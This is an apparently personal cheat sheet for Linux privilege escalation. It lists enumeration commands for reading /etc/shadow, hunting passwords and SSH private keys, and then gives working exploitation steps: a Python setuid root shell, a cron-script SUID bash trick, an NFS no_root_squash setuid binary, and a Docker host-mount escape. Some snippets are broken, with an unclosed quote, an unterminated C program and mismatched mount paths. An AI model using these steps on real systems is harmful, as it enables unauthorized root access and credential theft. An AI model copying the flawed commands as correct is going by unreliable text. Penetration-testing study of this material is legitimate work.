Linux privilege escalation

Manual enumeration



Other Users

cat /etc/passwd


sudo -l
cat /etc/sudoers

File system

pwd (current location)
echo $PATH



OS and architecture

cat /etc/issue
cat /etc/*-release
uname -a

Processes and services

ps aux


ifconfig OR ip a (interfaces)
route OR route l (routing table)
netstat -anp OR ss -anp (active connections)
arp -a

Scheduled tasks

ls -lah /etc/cron* (contents of all cron files)
cat /etc/crontab (admins often add jobs here, usually run w/ root privs)
cat var/log/cron.log (inspect for running cron jobs)

Applications/patch levels/drivers/kernel modules

dpkg -l
lsmod (lists all kernel modules loaded)
/sbin/modinfo $modulename (more info on specific kernel modules - libata in this example)

Readable/writeable directories

find / -writeable -type d 2>/dev/null

Unmounted disks

cat /etc/fstab (drives mounted at boot)
lsblk (all available disks)

Sensitive files

cat /etc/passwd 
cat /etc/shadow 
cat /etc/group 


Search the file system for passwords. Try additional search terms (pass, etc.).

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

SSH keys

Search the filesystem for SSH keys. Public keys are typically stored in the "authorized_keys" folder, private keys are stored as "id_rsa".

find / -name id_rsa* 2> /dev/null
find / -name authorized_keys* 2> /dev/null

Automated tools
Linux Exploit Suggester

Exploitation paths

SUID Files

SUID files allow individuals to execute files using the privileges of another user. They are identifiable by an "s" in the third character of the root permissions for a file. You can search manually with:

find / -perm -u=s -type f 2>/dev/null

If you find identify a SUID file, check GTFO bins for exploits


The exploitation for capabilities is similar to that of SUID files. Search for capabilities with:

getcap -r / 2>/dev/null

Look for "+ep" at the end of any returned items. If present, exploitation possible.


Run Python to escalate

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")

Other possibly exploitable capabilities include perl, tar, openssl (check GTFO bins)

Scheduled Tasks

cat /etc/cron*
cat /etc/crontab (admins often add jobs here, usually run w/ root privs)
cat var/log/cron.log (inspect for running cron jobs)
systemctl list-timers --all

Columns represent minute, hour, day of month, month, day of week. Asterisks in columns indicate "all", asterisks in all fields indicates that the task runs every minute/hour/day of month/month/day of week


First, check the file type using the file command and whether or not you have write access. Sometimes replacing the file with one created on your attacking machine is easier than modifying the file that is in place. If so, rename the current file as *.old and use wget to replace with the version created on your attack machine.

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > script
**Wait for the job to execute, then
/tmp/bash -p

NFS root squashing

Check cat /etc/exports for results indicating "no_root_squash", indicating folders that are shareable and can be mounted. If available, remote commands are executed as root.


From the attacking machine:

Search for mountable shares

showmount -e ipaddress

Create a new directory:

mkdir /tmp/mntme

Mount the folder:

mount -o rw, vers=2 ipaddress:/tmp /tmp/mountme

Create malicious file:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; /tmp/mountme/x.c

Compile the file:

gcc /tmp/mountme/x.c -o /tmp/mountme/x

Return to the victim machine, navigate to the target directory (/tmp), and execute the file



If you are in the Docker group, check to see which containers are available:

docker image ls

Run the image:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Last updated